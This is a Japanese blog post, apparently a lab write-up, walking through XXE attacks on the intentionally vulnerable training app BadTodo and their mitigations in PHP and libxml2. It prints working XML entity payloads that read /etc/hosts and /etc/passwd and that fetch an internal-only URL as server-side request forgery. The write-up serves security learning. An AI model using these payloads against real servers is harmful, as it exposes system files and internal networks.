やられアプリ BadTodo - 20 A4:2017 - XML外部エンティティ参照 (XXE)

前回:やられアプリ BadTodo - 19 ディレクトリ・リスティング - demandosigno

XXE = XML External Entity
XMLには外部実体参照という機能があり外部ファイルの内容を取り込むことができます。 細工を施した XML ファイルをインポートすることにより、診断対象サーバー(example.jp)内部のファイルを閲覧できます。また、攻撃者が example.jp を経由して別のサーバーにアクセスできるため、外部からアクセスできないサーバーへの攻撃の踏み台に利用される可能性があります。

XMLファイルの読み込み例

(「安全なウェブアプリケーションの作り方」第2版 p.363から引用します)

このようなファイルアップロードページから、次のXMLファイルを読み込むと、

<?xml version="1.0" encoding="utf-8" ?>
<user>
  <name>安全太郎</name>
  <address>東京都港区</address>
</user>

結果がこのように表示されるとします。

XMLを次のようにすると

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY hosts SYSTEM "/etc/hosts">
]>
<user>
  <name>安全太郎</name>
  <address>&hosts;</address>
</user>

/etc/hostsファイルが読み込まれます。

BadTodoで試します

/etc/hosts

適当なTodoをエクスポートしXMLファイルの記載例を取得します。

<?xml version="1.0" encoding="UTF-8"?>
<todolist>
  <todo>
    <owner>test</owner>
    <subject>test</subject>
    <memo>test</memo>
    <url>https://www.example.com/</url>
    <url_text>Example Domain</url_text>
    <c_date>2023-08-10</c_date>
    <due_date>2023-08-16</due_date>
    <done>0</done>
    <public>1</public>
  </todo>
</todolist>

このXMLファイルを書き換えます。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [                        <!-- 追記 -->
  <!ENTITY hosts SYSTEM "/etc/hosts">  <!-- 追記 -->
]>                                     <!-- 追記 -->
<todolist>
  <todo>
    <owner>test</owner>
    <subject>&hosts;</subject>         <!-- 変更 -->
    <memo>test</memo>
    <url>https://www.example.com/</url>
    <url_text>Example Domain</url_text>
    <c_date>2023-08-10</c_date>
    <due_date>2023-08-16</due_date>
    <done>0</done>
    <public>1</public>
  </todo>
</todolist>

そしてインポートページからインポートします。


/etc/hostsが表示されます。

URL指定のHTTPアクセスによる攻撃

今度はフィアル名ではなくURLを指定します。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY schedule SYSTEM "http://internal.example.jp/">
]>
<todolist>
  <todo>
    <owner>test</owner>
    <subject>&schedule;</subject>
    <memo>test</memo>
    <url>https://www.example.com/</url>
    <url_text>Example Domain</url_text>
    <c_date>2023-08-10</c_date>
    <due_date>2023-08-16</due_date>
    <done>0</done>
    <public>1</public>
  </todo>
</todolist>

指定したURLへのアクセス結果が表示されました。

このアクセス先http://internal.example.jp/index.htmlは内部からはアクセスできますが、外部からはアクセスできません。
Apacheの設定でアクセス制限されているためです/usr/local/apache2/conf/httpd.conf

113 <Directory /var/www/internal>
114     Require all denied
115     Require local
116 </Directory>

この攻撃は一般にSSRF(Server Side Request Forgery)と呼ばれ、外部から直接アクセスできないサーバー・機器への攻撃用の踏み台として用いることが可能です。
次回:BadTodo - 21 (SSRF)

内部から internal を見てみるには BurpSuiteのUpstreamProxyServerにinternal.example.jp:23128を追記します。

/etc/passwd

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY passwd SYSTEM "/etc/passwd">
]>
<todolist>
  <todo>
    <owner>test</owner>
    <subject>&passwd;</subject>
    <memo>test</memo>
    <url>https://www.example.com/</url>
    <url_text>Example Domain</url_text>
    <c_date>2023-08-10</c_date>
    <due_date>2023-08-16</due_date>
    <done>0</done>
    <public>1</public>
  </todo>
</todolist>

対策

(「安全なウェブアプリケーションの作り方」第2版 p.368から一部引用)

  • XMLの代わりにJSONを使う
  • libxml_diable_entity_loader(true)を宣言して外部実体参照を明示的に禁止する
  • libxml2のv2.9以降を用いる (PHP)の場合

◆XMLの代わりにJSONを使う
外部から与えられた信頼できないXMLを解析しないことでXXE対策となります。しかしXMLは外部とのデータ交換に用いられることも多いため、単にXMLの受け取りをやめるというのは難しい場合があります。このため、外部とのデータ交換にはXMLの代わりにJSONを用いる方が安全です。JSONの場合、安全でないデシリアライゼーションやXXEなどの問題は通常は発生しません。*1

◆libxml_disable_entity_loader(true) を呼び出す
PHPにはlibxml_disable_entity_loaderという関数が用意されていて(PHP5.2.11以降)、XMLの処理をする前に以下のように呼び出すことにより、libxml2やPHP側の処理内容にかかわらず外部実体参照が禁止されます。これはlibxmlのバージョンによらず有効な対策です。

PHP: libxml_disable_entity_loader - Manual
libxml_disable_entity_loader(true);
この関数は PHP 8.0.0 で 非推奨になります。この関数に頼らないことを強く推奨します。
一般的には、外部エンティティの読み込みを抑制するのであれば、 libxml_set_external_entity_loader() を使うことが望ましいです。

importdo.phplibxml_disable_entity_loader(true);を1行追記します。

<?php
 41 $xmlfile = isset($_FILES["attachment"]) ? $_FILES["attachment"] : array('error' => 1);
 42 if ($xmlfile['error'] !== 0) {
 43   $errmsg[] = 'XMLフアイルがありません';
 44 } else {
 45   libxml_disable_entity_loader(true);  //←追記
 46   $tmp_name = $xmlfile["tmp_name"];
 47   $doc = new DOMDocument();
 48   $doc->load($tmp_name);
 49   $todolist = $doc->getElementsByTagName('todo');
 50 }
 51 if (empty($errmsg)) {
 52   $errmsg = import_todo($app, $id, $todolist);
 53 }

そして/etc/passwdを読み込んでみると、 外部エンティティの読み込みに失敗しました。

ただ、これだと通常のTodoデータの読み込みにも失敗します。libxml2のバージョンやアプリケーションの他の設定に関わらず、常に外部実体の読み込みが禁止されますが、$doc->load() メソッドの呼び出しもエラーになります。つまり正常系が動かなくなるケースがあります。

これに対応するには、loadメソッドを避け、別の方法でXMLファイルを読み込んでから、その文字列をloadXMLメソッドで解析します。下記の例では、file_get_contentsで読み込んだXMLファイルをloadXMLメソッドで解析しています。

<?php
 41 $xmlfile = isset($_FILES["attachment"]) ? $_FILES["attachment"] : array('error' => 1);
 42 if ($xmlfile['error'] !== 0) {
 43   $errmsg[] = 'XMLフアイルがありません';
 44 } else {
 45   libxml_disable_entity_loader(true);
 46   $tmp_name = $xmlfile["tmp_name"];
 47   $doc = new DOMDocument();
 48   $xmlstr = file_get_contents($_FILES['attachment']['tmp_name']); // 追記
 49   $doc->loadXML($xmlstr); // 追記
 50   //$doc->load($tmp_name);
 51   $todolist = $doc->getElementsByTagName('todo');
 52 }
 53 if (empty($errmsg)) {
 54   $errmsg = import_todo($app, $id, $todolist);
 55 }

通常のXMLファイルを読み込めました。

いずれにせよこの関数はPHP 8.0.0で非推奨となるため、libxml のバージョンアップをお勧めします。

◆libxml2のv2.9以降を用いる (PHP)の場合
BadTodoにはhttps://todo.example.jp/phpinfo.php でPHPinfoが閲覧できてしまう問題があり、確認すると libxml 2.7.8が使用されているため XXEに対して脆弱となっています。

libxml2を最新にするだけで防げるので、最新のディストリビューションで全てのパッチが当たっていれば大丈夫です。ただし、PHP側で外部実体参照を許可する設定にしている場合は例外です。

<?php
$doc = new DOMDocument();
$doc->substituteEntities = true;  // 外部実体参照を許可。XXE脆弱となる
$doc->load($tmp_name);
$todolist = $doc->getElementsByTagName('todo');

libxml のアップデート

そこで libxml のアップデートを試みようと思ったのですが、知識不足で解決できませんでした。
徳丸本2版の実習環境をDockerに移植した話 - Qiitaによると、

  • ApacheコンテナのDockerファイルは Debian 11ベースのApacheモジュール版のPHP 8.1をベースにしています。加えて、前述のPHP 5.3.3 CGIモードのバイナリをコピーしています。
  • CGIモードにしているのは、Apacheモジュール版のPHPでは複数バージョンの同居が難しいから。
  • PHPは5.3.3/7.0.27。Libxml2 は 2.7.8/2.9.4(古いPHP、libxml2 2.7.8を独自にビルド)

確かに、libxml 2.9.4パッケージもインストールされていました。

# apt list --installed  
libxml2/oldstable,oldstable-security,now 2.9.10+dfsg-6.7+deb11u4 amd64 [installed]  

# dpkg -L libxml2
/usr/lib/x86_64-linux-gnu/libxml2.so.2.9.10
/usr/lib/x86_64-linux-gnu/libxml2.so.2


Dockerファイル

# アーキテクチャに応じて PHPバイナリをコピー
ADD  php-5.3.3p.bin-${TARGETARCH}.tar.gz /usr/local/apache2/cgi-bin
# アーキテクチャに応じて libxml2 をコピー
WORKDIR /usr/local/libxml2.7.8/lib
COPY libxml2.so.2.7.8-${TARGETARCH} libxml2.so.2.7.8
# 諸々の設定
RUN  ln -s libxml2.so.2.7.8 libxml2.so.2 \
  && ln -s libxml2.so.2.7.8 libxml2.so

/usr/local/apache2/conf/httpd.conf

ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/" 
 
<Directory /var/www/> 
        Options Indexes FollowSymLinks ExecCGI 
        AllowOverride None 
        Require all granted 
    AddHandler x-php-script .php 
    Action x-php-script /cgi-bin/php-5.3.3.bin 
    AddHandler cgi-script .cgi 
    PassEnv MYSQL_HOST 
</Directory> 
 
<Directory "/usr/local/apache2/cgi-bin"> 
    AllowOverride None 
    Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch 
    Require all granted 
</Directory> 

<VirtualHost *:3128>
ProxyRequests On
ErrorLog /usr/local/apache2/logs/proxy-error.log
CustomLog /usr/local/apache2/logs/proxy-access.log combined
</VirtualHost>

ということは分かったのですが、ではどうやって切り替えるのだろう?というところで詰まりました。
.configure フィアルで--with-libxml-dir=/usr/lib/x86_64-linux-gnu/として再ビルド?

参照した記事:PHPプログラマのためのXXE入門 | 徳丸浩の日記

次回:BadTodo - 21 A10:2021-サーバーサイドリクエストフォージェリ(SSRF) - demandosigno

*1:Java向けのJSONライブラリJacksonにはJSON形式を拡張してシリアライズとデシリアライズを行う機能があり、Polymorphic Type Handling(PTH)という機能を有効にした状態で外部からの信頼できないJSONを処理させると脆弱性の原因になります。

/* -----codeの行番号----- */